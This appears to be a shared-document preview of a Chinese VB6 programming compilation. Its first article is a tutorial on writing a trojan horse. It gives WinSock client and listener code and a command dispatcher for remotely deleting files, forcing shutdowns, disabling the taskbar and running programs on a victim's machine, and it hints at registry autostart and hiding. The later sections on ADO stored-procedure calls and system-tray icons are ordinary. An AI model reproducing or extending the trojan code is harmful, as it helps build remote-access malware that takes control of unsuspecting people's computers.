VB高级编程.docx
- 文档编号:7184530
- 上传时间:2023-01-21
- 格式:DOCX
- 页数:124
- 大小:563.71KB
VB高级编程.docx
《VB高级编程.docx》由会员分享,可在线阅读,更多相关《VB高级编程.docx(124页珍藏版)》请在冰豆网上搜索。
VB高级编程
浅谈用VB6.0编写木马程序
现在网络上流行的木马软件基本都是客户机/服务器模式也就是所谓的C/S结构,目前也有一些开始向B/S结构转变,
在这里暂且不对B/S结构进行详谈,本文主要介绍C/S结构其原理就是在本机直接启动运行的程序拥有与使用者相同的权
限。
因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它
了。
下面来谈谈如何用VB来实现它。
首先使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。
在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服
务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:
PrivateSubcmdConnect_Click()
IfLen(Text1.Text)=0AndLen(Text2.Text)=0Then
MsgBox("请输入主机名或主机IP地址。
")
ExitSub
Else
IfLen(Text1.Text)>0Then
tcpClient.RemoteHost=Text1.Text
Else
tcpClient.RemoteHost=Text2.Text
EndIf
EndIf
tcpClient.Connect
Timer1.Enabled=True
EndSub
连接建立之后就可以使用DataArrival事件处理所收到的数据了。
在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加
入如下代码:
PrivateSubForm_Load()
tcpServer.LocalPort=1999
tcpServer.Listen
EndSub
准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:
PrivateSubtcpServer_ConnectionRequest
(ByValrequestIDAsLong)
IftcpServer.State<>sckClosedThen
tcpServer.Close‘检查控件的State属性是否为关闭的。
EndIf'如果不是,在接受新的连接之前先关闭此连接。
tcpServer.AcceptrequestID
EndSub
这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。
如果不出
意外,连接就被建立起来了。
建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。
如:
把服务器端的驱
动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目
录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删
除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进
程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输
入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。
DataArrival事件程序如
下:
PrivateSubtcpServer_DataArrival
(ByValbytesTotalAsLong)
DimstrDataAsString
DimiAsLong
DimmKeyAsString
tcpServer.GetDatastrData
'接收数据并存入strData
Fori=1ToLen(strData)
'分离strData中的命令
IfMid(strData,i,1)="@"Then
mKey=Left(strData,i-1)
'把命令ID号存入mKey
'把命令参数存入strData
strData=Right(strData,Len(strData)-i)
ExitFor
EndIf
Nexti
SelectCaseVal(mKey)
Case1
‘驱动器名、目录名、文件名
Case2
强制关闭服务器端的计算机
Case3
强制重启服务器端的计算机
Case4
屏蔽任务栏窗口;
Case5
屏蔽开始菜单;
Case6
按照客户机端传过来的文件名或目录名,而删除它;
Case7
屏蔽热启动键;
Case8
运行服务器端的任何程序
EndSelect
EndSub
客户机端用tcpClient.SendData发命令。
命令包括命令ID和命令参数,它们用符号“@”隔开。
另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,
其代码如下:
PrivateSubtcpServer_Close()
tcpServer.Close
tcpServer.Listen
EndSub
这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。
至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。
源代码
下载
成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。
警告:
千万不要用来破
坏别人的系统。
__________________________________________________________________________________________________________
__________________________________________________________________________________________________________
VB实现SQLServer2000存储过程调用
存储过程
存储过程是存储在服务器上的一组预编译的Transact-SQL语句,是一种封装重复任务操作的方法,支持用户提供的变
量,具有强大的编程功能。
它类似于DOS系统中的BAT文件。
在BAT文件中,可以包含一组经常执行的命令,这组命令
通过BAT文件的执行而被执行。
同样的道理,可以把要完成某项任务的许多Transact-SQL语句写在一起,组织成存储过程
的形式,通过执行该存储过程就可以完成这项任务。
存储过程与BAT文件又有差别,即存储过程已经进行了预编译。
1、创建存储过程的方法
在Transact-SQL语言中,创建存储过程可以使用CREATEPROCEDURE语句,其语法形式如下:
CREATEPROC[EDURE]procedure_name[;number]
[{@parameterdata_type}[VARYING][=default][OUTPUT]
]],…n]
[WITH{RECOMPILE|ENCRYPTION|RECOMPILE,ENCRYPTION}]
[FORREPLICATION]
ASsql_statement[…n]
在上面的CREATEPROCEDURE语句中,方括号"[]"中的内容是可选的,花括号"{}"中的内容是必须出现的,不能省
略,[,…n]表示前面的参数样式,可以重复出现。
竖线"|"表示两边的选项可以任选一个。
下面分析该语句中各种选项的含义。
CREATEPROCEDURE是关键字,也可以写成CREATEPROC。
procedure_name是该存储过程的名称,名称可以是任何符合命名规则的标示符。
名称后的[;number]参数表示可以定义
一系列的存储过程名称,这些存储过程的数量由number指定。
参数名称可以使用@parameterdata_type来指定。
在Transact-SQL语言中,用户定义的参数名称前面加"@"符号,这些
数据类型是Transact-SQL语言允许的各种数据类型,包括系统提供的数据类型和用户定义的数据类型。
当参数类型为cursor时,必须使用关键字VARYING和OUTPUT。
VARYING表示结果集可以是一个输出参数,其内
容是动态的。
该关键字只能在使用游标作为数据类型时使用。
关键字OUTPUT表示这是一个输出参数,可以把存储过程执
行的结果信息返回应用程序。
default用于指定参数的默认值。
RECOMPILE选项表示重新编译该存储过程。
该选项只是在需要的时候才使用,例如经常需要改变数据库模式时。
ENCRYPTION选项用来加密创建存储过程的文本,防止他人查看。
选项FORREPLICATION主要用于复制过程中。
注意,该选项不能和选项RECOMPILE同时使用。
AS是一个关键字,表示其后的内容是存储过程的语句。
参数sql-statement[…n]表示在一个存储过程中可以包含多个
Transact-SQL语句。
2、存储过程的优点
在频繁访问数据库的系统中,开发者都乐于使用存储过程,这与存储过程的下列优点是分不开的。
⑴存储过程可以与其他应用程序共享应用程序的逻辑,从而确保一致的数据访问和操纵。
⑵存储过程提供了一种安全机制。
如果用户被授予执行存储过程权限,那么即使该用户没有访问在执行该存储过程中
所参考的表或视图的权限,该用户也可以完全执行该存储过程而不受到影响。
因此,可以创建存储过程来完成所有的增加、
删除等操作,并且可以通过编程控制上述操作中对信息的访问权限。
⑶存储过程执行速度快,便于提高系统的性能。
由于存储过程在第一次执行之后,其执行规划就驻存在过程高速缓冲
存储区中,在以后的操作中,只需从过程高速缓冲存储区中调用编译好的二进制形式存储过程来执行。
⑷使用存储过程可以减少网络传输时间。
如果有一千条Transact-SQL语句的命令,一条一条地通过网络在客户机和服
务器之间传送,那么这种传输所耗费的时间将很长。
但是,如果把这一千条Transact-SQL语句的命令写成一条较为复杂的
存储过程命令,这时在客户机和服务器之间网络传输所需的时间就会大大减少。
SQLServer2000数据库存储过程的调用
VB作为当今应用极为普遍的数据库客户端开发工具之一,对客户端应用程序调用服务器端存储过程提供了强大的支
持。
特别是随着VB6.0的推出,VB客户端应用程序可以方便地利用ADO的对象和集合来实现对数据库存储过程的调用。
在笔者编写的科技档案管理系统中,就是采用VB作为开发平台,采用SQLServer2000数据库管理数据,在这个科技
档案管理系统中有海量的数据,并且对数据库有频繁的访问,利用存储过程访问数据库节省了执行时间,大大提高了系统
的性能。
1、ADO简介
ADO控件(也称为ADOData控件)与VB固有的Data控件相似。
使用ADOData控件,可以利用MicrosoftActiveXData
Objects(ADO)快速建立数据库绑定控件和数据提供者之间的连接。
ADOData控件可以实现以下功能:
·连接一个本地数据库或远程数据库。
·打开一个指定的数据库表,或定义一个基于结构化查询语言(SQL)的查询、存储过程或该数据库中的表的视图的记
录集合。
·将数据字段的数值传递给数据绑定控件,可以在这些控件中显示或更改这些数值。
·添加新的记录,或根据更改显示在绑定的控件中的数据来更新一个数据库。
2、数据库的连接
数据库的连接可通过ADO控件实现,为此,必须在工程部件中选择MicrosoftADODataControl6.0(OLEDB),然后在
窗体中添加ADO控件。
利用ADO连接数据库有两种方法,具体如下。
1)通过ADODC属性页实现连接
在ADODC属性页中选择生成按钮,进入数据链接属性对话框;然后选择该对话框中的连接属性页,选择或输入服务
器名称和数据库等重要信息;最后测试连接,连接成功后,按确定按钮,返回到属性页对话框,可获得连接字符串,如下
例:
Provider=SQLOLEDB.1;PersistSecurityInfo=False;UserID=sa;InitialCatalog=Science_File;DataSource=Data_Server
其中sa是用户名;Science_File是数据库名;Data_Server是数据库名。
通过下列语句,即可连接到指定的数据库:
dimodbcstrasString,adoconAsNewADODB.Connection
odbcstr
=
"Provider=SQLOLEDB.1;Persist
Security
Info=False;User
ID=sa;Initial
Catalog=Science_File;Data
Source=Data_Server"
adocon.Openodbcstr'连接到数据库
2)直接使用连接语句实现
连接数据库的语句如下:
DimadoasADODC
ado.ConnectionString="Provider=SQLOLEDB.1;Password="&User_Pwd&";PersistSecurityInfo=True;UserID="&
User_Name&";InitialCatalog="&Data_Name&";DataSource="&server_name
其中User-Pwd是用户密码;User_Name是用户名;Data_Name是数据库名;server_name是服务器名。
连接数据库成功后就可以调用存储过程执行操作。
3、存储过程的调用
假设有一个名为doc_ProcName存储过程,该存储过程有一个输入参数,一个输出参数。
1)直接传递参数调用存储过程
直接传递参数方法主要通过以下几个步骤来实现:
(1)通过ADODB的Connection对象打开与数据源的连接;
(2)通过ActiveConnection指定Command对象当前所属的Connection对象;
(3)通过CommandText属性设置Command对象的源,即要调用的存储过程;
(4)通过CommandType属性确定Command对象的源类型,如果源类型为存储过程CommandType即为
adCmdStoredProc;
(5)通过Command对象的Parameters集合向所调用的存储过程传递参数,其中对象Parameters(0)为执行存储过
程的返回值,返回值为0则执行存储过程成功;
(6)通过Eexecute方法执行在CommandText属性中指定的存储过程。
以存储过程doc_ProcName为例,关键代码如下:
DimstrSAsString'定义一变量
DimadoconnAsNewADODB.Connection'Connection对象代表了打开与数据源的连接。
DimadocommAsNewADODB.Command'Command对象定义了将对数据源执行的指定命令。
DimReturnValueAsInteger'调用存储过程的返回值
adoconn.ConnectionString=Adodc1.ConnectionString'Adodc1为窗体中的ADO控件,并已成功连接数据库
adoconn.Open
Setadocomm.ActiveConnection=adoconn'指示指定的Command对象当前所属的Connection对象。
adocomm.CommandText="doc_ProcName"'设置Command对象源。
adocomm.CommandType=adCmdStoredProc'通知提供者CommandText属性有什么,它可能包括Command对象的源类
型。
设置这个属性优化了该命令的执行。
adocomm.Parameters
(1)="1"
adocomm.Parameters
(2)="OutputParameters"'OutputParameters可以为任意的字符串或数字
adocomm.Execute
ReturnValue=adocomm.Parameters(0)'存储过程的返回值,返回0则成功执行。
strS=adocomm.Parameters
(2)'把存储过程的输出参数的值赋给变量strS
2)追加参数法调用存储过程
追加参数通过CreateParameter方法,用来指定属性创建新的Parameter对象。
具体语法如下:
Setparameter=command.CreateParameter(Name,Type,Direction,Size,Value)
·Name可选,字符串,代表Parameter对象名称。
·Type可选,长整
__________________________________________________________________________________________________________
__________________________________________________________________________________________________________
VB6如何在拖托盘中写入应用程序图标
1、新建立一个VB6工程,将Form1的ShowInTaskBar属性设置为False
2、菜单:
工程--添加模块按“打开”这样就添加了一个新模块,名为Module1,保存为Module1.bas
3、在Module1中写下如下代码:
OptionExplicit
PublicConstMAX_TOOLTIPAsInteger=64
PublicConstNIF_ICON=&H2
PublicConstNIF_MESSAGE=&H1
PublicConstNIF_TIP=&H4
PublicConstNIM_ADD=&H0
PublicConstNIM_DELETE=&H2
PublicConstWM_MOUSEMOVE=&H200
PublicConstWM_LBUTTONDOWN=&H201
PublicConstWM_LBUTTONUP=&H202
PublicConstWM_LBUTTONDBLCLK=&H203
PublicConstWM_RBUTTONDOWN=&H204
PublicConstWM_RBUTTONUP=&H205
PublicConstWM_RBUTTONDBLCLK=&H206
PublicConstSW_RESTORE=9
PublicConstSW_HIDE=0
PublicnfIconDataAsNOTIFYICONDATA
PublicTypeNOTIFYICONDATA
cbSizeAsLong
hWndAsLong
uIDAsLong
uFlagsAsLong
uCallbackMessageAsLong
hIconAsLong
szTipAsString*MAX_TOOLTIP
EndType
PublicDeclareFunctionShowWindowLib"user32"(ByValhWndAsLong,ByValnCmdShowAsLong)AsLong
PublicDeclareFunctionShell_NotifyIconLib"shell32.dll"Alias"Shell_NotifyIconA"(ByValdwMessageAsLong,lpDataAs
NOTIFYICONDATA)AsLong
4、在Form1的Load事件中写下如下代码:
PrivateSubForm_Load()
'以下把程序放入SystemTray====================================SystemTrayBegin
WithnfIconData
.hWnd=Me.hWnd
.uID=Me.Icon
.uFlags=NIF_ICONOrNIF_MESSAGEOrNIF_TIP
.uCallbackMessage=WM_MOUSEMOVE
.hIcon=Me.Icon.Handle
'定义鼠标移动到托盘上时显示的Tip
.szTip=App.Title+"(版本"&App.Major&"."&App.Minor&"."&App.Revision&")"&vbNullChar
.cbSize=Len(nfIconData)
EndWith
CallShell_NotifyIcon(NIM_ADD,nfIconData)
'=============================================================SystemTrayEnd
Me.Hide
EndSub
5、在Form1的QueryUnload事件中写入如下代码:
PrivateSubForm_QueryUnload(CancelAsInteger,UnloadModeAsInteger)
CallShell_NotifyIcon(NIM_DELETE,nfIconData)
EndSub
6、在Form1的MouseMove事件中写下如下代码:
PrivateSubForm_MouseMove(ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)
DimlMsgAsSingle
lMsg=X/Screen.TwipsPerPixelX
SelectCaselMsg
CaseWM_LBUTTONUP
'MsgBox"请用鼠标右键点击图标!
",vbInformation,"实时播音专家"
'单击左键,显示窗体
ShowWindowMe.h
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- VB 高级 编程